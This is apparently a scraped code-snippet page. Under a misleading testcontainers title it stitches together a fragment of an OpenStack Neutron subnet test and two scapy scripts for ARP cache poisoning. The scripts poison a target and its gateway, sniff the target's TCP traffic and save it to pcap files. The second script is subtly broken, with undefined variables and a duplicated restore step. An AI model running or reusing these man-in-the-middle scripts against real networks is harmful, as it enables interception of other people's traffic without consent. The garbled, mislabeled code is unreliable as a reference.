Best Python code snippet using testcontainers-python_python
test_create_update_neutron_subnet.py
Source:test_create_update_neutron_subnet.py
...75 self.update_stack(stack_identifier, templ_no_pools)76 last_alloc_pools = self.get_outputs(stack_identifier, 'alloc_pools')77 # last_alloc_pools should be []78 self.assertEqual([], last_alloc_pools)79 def test_update_gateway_ip(self):80 stack_identifier = self.stack_create(template=test_template)81 gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')82 self.assertEqual('11.11.11.5', gw_ip)83 # Update gateway_ip84 templ_other_gw_ip = test_template.replace(85 'gateway_ip: 11.11.11.5', 'gateway_ip: 11.11.11.9')86 self.update_stack(stack_identifier, templ_other_gw_ip)87 new_gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')88 # the gateway_ip should be the new one89 self.assertEqual('11.11.11.9', new_gw_ip)90 def test_update_gateway_ip_to_empty(self):91 stack_identifier = self.stack_create(template=test_template)92 gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')93 self.assertEqual('11.11.11.5', gw_ip)94 # Update gateway_ip to null(resolve to '')95 templ_empty_gw_ip = test_template.replace(96 'gateway_ip: 11.11.11.5', 'gateway_ip: null')97 self.update_stack(stack_identifier, templ_empty_gw_ip)98 new_gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')99 # new gateway_ip should be None100 self.assertIsNone(new_gw_ip)101 def test_update_to_no_gateway_ip(self):102 stack_identifier = self.stack_create(template=test_template)103 gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')104 self.assertEqual('11.11.11.5', gw_ip)105 # Remove the gateway from template106 templ_no_gw_ip = test_template.replace(107 'gateway_ip: 11.11.11.5', '')108 self.update_stack(stack_identifier, templ_no_gw_ip)109 new_gw_ip = self.get_outputs(stack_identifier, 'gateway_ip')110 # new gateway_ip should be None...
arppoison.py
Source:arppoison.py
1from scapy.all import *2import os3import sys4import threading5import signal6packet_count = 307conf.verb = 08def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):9 print("[*]Restoring target...")10 send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",11 hwsrc=gateway_mac), count=5)12 send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",13 hwsrc=target_mac), count=5)14 os.kill(os.getpid(), signal.SIGINT)15def get_mac(ip_address):16 try:17 responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2)18 except Exception as e:19 print(str(e))20 sys.exit(0)21 for s, r in responses:22 return r[Ether].src23def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):24 poison_target = ARP()25 poison_target.op = 226 poison_target.psrc = gateway_ip27 poison_target.pdst = target_ip28 poison_target.hwdst = target_mac29 poison_gateway = ARP()30 poison_gateway.op = 231 poison_gateway.psrc = target_ip32 poison_gateway.pdst = gateway_ip33 poison_gateway.hwdst = gateway_mac34 print("[*] Beginning the ARP poison.[CTRL-C to stop]")35 while True:36 try:37 send(poison_target)38 send(poison_gateway)39 print("send sucess!")40 time.sleep(2)41 except KeyboardInterrupt:42 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)43 print("[*] ARP poison attack finished.")44 return45def analysis(packet):46 l1 = packet.payload47 l1.show()48 l2 = packet.payload.payload49 l2.show()50 l3 = packet.payload.payload.payload51 l3.show()52 pass53def sniff_message(gateway_ip, gateway_mac, target_ip, target_mac):54 try:55 print("[*]Starting sniffer for %d packets" % packet_count)56 bpf_filter = "ip host %s and tcp" % target_ip57 packets = sniff(count=packet_count, prn=analysis, filter=bpf_filter, iface=None)58 wrpcap('arppoison.pcap', packets)59 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)60 except KeyboardInterrupt:61 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)62 sys.exit(0)63def main():64 # if len(sys.argv[1:]) != 3:65 # print("Usage ./arppoison.py [interface] [target_ip] [gateway_ip]")66 # print("Example: ./arppoison.py eth0 192.168.1.3 192.168.1.1")67 # sys.exit(0)68 # interface = sys.argv[1]69 # target_ip = sys.argv[2]70 # gateway_ip = sys.argv[3]71 interface = None72 target_ip = '192.168.126.130'73 gateway_ip = '192.168.126.2'74 #conf.iface = interface75 print("[*] Setting up %s" % (interface))76 gateway_mac = get_mac(gateway_ip)77 print(gateway_mac)78 if gateway_mac is None:79 print("[!!!] Failed to get gateway Mac. Exiting.")80 sys.exit(0)81 else:82 print("[*]Gateway %s at %s" % (gateway_ip, gateway_mac))83 target_mac = get_mac(target_ip)84 if target_mac is None:85 print("[!!!]Failed to get target MAC.Exiting.")86 sys.exit(0)87 else:88 print("[*]Target %s is at %s" % (target_ip, target_mac))89 poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))90 poison_thread.start()91 sniff_thread = threading.Thread(target=sniff_message, args=(gateway_ip, gateway_mac, target_ip, target_mac))92 #sniff_thread.start()93 sniff_message(gateway_ip, gateway_mac, target_ip, target_mac)94if __name__=='__main__':...
ARPCachPoisoner.py
Source:ARPCachPoisoner.py
1from scapy.all import *2import os3import sys4import threading5import signal6"""7This script is used for ARPCache Poisoning - it requres three variables to be8set, either by defaults or when called9This version uses defaults.10Before running you must tell your mahcine it can forward packets:11[Kali Linux] echo 1 > /proc/sys/net/ipv4/ip_forward12"""13def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):14 print("[*] Restoring target ...")15 send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)16 send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)17 os.kill(os.getpid(), signal.SIGINT)18def get_mac(ip_address):19 responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)20 for s,r in responses:21 return r[Ether].src22 return None23def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):24 poison_target = ARP()25 poison_target.op = 226 poison_target.psrc = gateway_ip27 poison_target.pdst = target_ip28 poison_target.hwdst = target_mac29 poison_gateway.op = 230 poison_gateway.psrc = target_ip31 poison_gateway.pdst = gateway_ip32 poison_gateway.hwdst = gateway_mac33 print("[~] Initiating ARP poisoning attact. Use Ctrl+C to cancel")34 while True:35 try:36 send(poison_target)37 send(poison_gateway)38 time.sleep(2)39 except KeyboardInterrupt:40 restore_target(gateway_ip,gateway_mac, target_ip, target_mac)41 print("[~] ARP poison attack finished")42 return43 44interface = "en1"45target_ip = "10.10.10.10"46gateway_ip = "10.10.10.254"47pktcnt = 100048conf.iface = interface49conf.verb = 050print("[*] Setting up %s" % interface)51gateway_mac = get_mac(gateway_ip)52if gateway_mac is None:53 print("[!] Failed to get target MAC. Exiting.")54 sys.exit(0)55else:56 print("[*] Target %s is at %s" % (target_ip,target_mac))57poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))58poison_thread.start()59try:60 print("[*] Starting sniffer for %d packets" % packet_count)61 bpf_filter = "IP Host %s" % target_ip62 packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)63 wrpcap('arper.pcap',packets)64 restore_target(gateway_ip,gateway_mac,target_ip,target_mac)65except KeyboardInterrupt:66 restore_target(gateway_ip,gateway_mac,target_ip,target_mac)...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!